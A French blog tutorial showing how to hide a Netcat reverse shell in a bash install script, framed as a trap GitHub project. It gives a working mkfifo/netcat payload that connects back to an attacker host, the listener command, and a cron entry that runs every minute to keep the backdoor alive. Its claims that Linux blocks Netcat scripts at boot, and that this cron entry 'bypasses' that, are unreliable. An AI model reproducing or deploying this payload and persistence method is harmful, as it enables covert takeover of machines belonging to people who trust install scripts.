Injecter du code malveillant dans un script (Netcat reverse shell)

Publié par Geoffrey Sauvageot-Berland le

Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

I. Introduction

Netcat est un utilitaire réseau très connu disponible à la fois sur Linux, mais aussi sur Windows. Il peut être utilisé à la fois par les attaquants et les auditeurs de sécurité. Dans un scénario d’attaque, cet outil interfonctionnel peut-être piloté par des scripts d’attaques afin de créer notamment des « reverse shell ». Côté sécurité défensive, Netcat aide les sysadmins aguerris à déboguer et à enquêter sur un réseau x.

Dans cet article, vous allez découvrir comment insérer un code malveillant à l’aide de Netcat dans un script bash, dans le but de créer une session « reverse shell » entre une machine victime et un attaquant.

II. Contexte fictif

Imagniez-vous dans la peau d’un administrateur système qui souhaite installer un nouveau service au sein de son réseau informatique. Pour cela, il parcourt Github, se promène parmi les repositorys, et soudain il tombe sur un projet avec un readme très esthétique qui lui donne envis d’installer le projet. Il ne le sait pas, mais derrière le script d’auto-installation pour setuper la solution, se cache un code malicieux qui va permettre au propriétaire du repository de pouvoir prendre le contrôle de cette machine. Voilà pourquoi il est important d’exécuter que des scripts de confiance et provenant uniquement source officiel connu et reconnu. Sinon garde aux mauvaises surprises. Dans l’exemple présenté seulement 4 lignes vont nous permettre de pouvoir rooter un serveur Ubuntu…

Les attaquants ont divers choix pour masquer un bou de code malveillant. Voici deux exemples très courants :

  • Un Fork d’un repository github très connu, modifié par un attaquant qui créerait/éditerait un script bash d’auto-installation . En modifiant le readme (documentation du projet), il pourrait accroître la portée de son attaque par l’effet de « trust » qu’un informaticien lambda à envers une documentation.
  • Un projet de « façade » github avec un nom aguicheur qui pourrait donner l’envie à un administrateur de tester la solution, par le biais d’un setup très user friendly via un script bash qu’il pourrait exécuter très simplement via la commande non moins connu curl

Évidemment, dans ces deux axes, à chaque fois nous utilisons une approche de social engineering pour parvenir à nos fins. La plupart du temps aucune personne ne va aller checker l’intégralité du code d’un script d’auto-installation .sh surtout si celui-ci fait plusieurs centaines de lignes.

III. Environnement de mise en place

  • Kalilinux 2021.x : 10.0.0.10/24
  • Ubuntu 20.04 LTS : 10.0.0.2/24

Afin que le tutoriel soit plus simple à mettre en oeuvre, nous allons simplement créer un simple script contenant un code malveillant, sans inclure celui-ci dans un quelconque projet git car cela serrait totalement à l’encontre de ma démarche d’ethical hacking.

Je vous ai donné quelques pistes en intro, je vous laisserai faire le nescessaire si-vous souhaitez basculer du côté obscur de la force 🙂

III. Rédaction du code malveillant

Créer un fichier, puis copiez coller le code ci-dessous.

nano /home/user/script.sh

Voici le contenu du code malicieux à insérer :

#!/bin/sh
mkfifo /tmp/xank > /dev/null 2>&1
/usr/bin/netcat 10.0.0.10 6666 0</tmp/xank | /bin/sh >/tmp/xank 2>&1 &
rm /tmp/xank > /dev/null 2>&1

Grossomodo, grâce à ce script, nous allons pouvoir initialiser un reverse shell via la commande netcat (ligne 3)

IV. Création d’un listener netcat depuis Kalilinux

Retournez sur la machine attaquante Kalilinux, créez votre listener netcat par l’intermédiaire de la commande suivante :

nc -lvp 6666

Revenez sur votre machine victime puis exécutez les commandes suivante « as root » ou via la commande sudo.

Ajustez les droits, via la commande chmod afin que le script puisse être exécutable.

chmod u+x script.sh

Executez le script.

./script.sh

Une connexion va s’établir entre la machine victime, et notre listener depuis notre terminal sur Kalilinux.

Comme vous pouvez le voir, vous obtenez un shell de la machine victime avec en prime un accès root. le shell est très basique et malheureusement, vous ne pouvez pas avoir accès à certaines commandes comme nano. (Les subgraphics ne pas supportées par l’encapsulation des données à travers une session Netcat…). Néanmoins vous avez là un accès root à la machine victime 🙂

IV. Persister votre backdoor !

Une des choses les plus importantes, suite à la compromission d’une machine, est de pouvoir persister sa présence au sein du système compromis.

Une de mes premières idées était de créer une tâche cron qui éxécuterai le script malicieux dès lors que la machine boot. Mais, par défaut Linux bloque l’exécution de script shell avec du code initiant des sessions netcat au démarrage d’une machine pour des raisons de sécurité.

@reboot /home/user/script.sh # Bloquer pour des raisons de sécurité 

Manque de pot, cette instance cron est bloqué (L’OS détecte que le script bash contient du code créant une session Netcat) et donc, ma tâche cron est igniorée.

De même, il n’est pas possible de pouvoir mettre ce script dans /etc/rc.local/ (permet historiquement d’exécuter un script au démarrage de l’OS), ou de créer un service spécifique (via systemctl), afin d’y injecter notre script. Ce sont des failles qui ont été repérés, et colmatés par les développeurs du noyau Linux.

Mais après quelques investigations et de nombreux essais, j’ai réussi à bypasser cette restriction, en créant une tâche cron s’exécutant toutes les minutes depuis la machine victime. (Le script utilisant que très très peu de ressources physiques dans notre cas, ce n’est pas du tout un problème).

* * * * * /home/user/script.sh # Cette tâche cron vous permet de contourner les sécurités :)

Enregistrez le contenu de cette crontab, puis redémarrez votre machine victime. Entre-temps, réinstancier un listener netcat depuis la machine Kalilinux :

nc -lvp 6666

Attendez environ une minute, le temps que ce script soit exécutés. Dès lors, vous verrez dans votre terminal la connexion « reverse shell » s’initier

En espérant que ce tutoriel vous est plu ^^

++

Geoffrey


En savoir plus sur Le Guide Du SecOps

Subscribe to get the latest posts sent to your email.


Geoffrey Sauvageot-Berland

Ingénieur diplômé par l’état en Informatique et Cybersécurité. Généraliste, à l'origine administrateur systèmes et réseaux, j’occupe actuellement un poste d’auditeur en sécurité offensive. J’apprécie également la programmation/automatisation. Fondateur du blog : "Le Guide du SecOps", anciennement "Le Guide du SysOps"

En savoir plus sur Le Guide Du SecOps

Abonnez-vous pour poursuivre la lecture et avoir accès à l’ensemble des archives.

Continue reading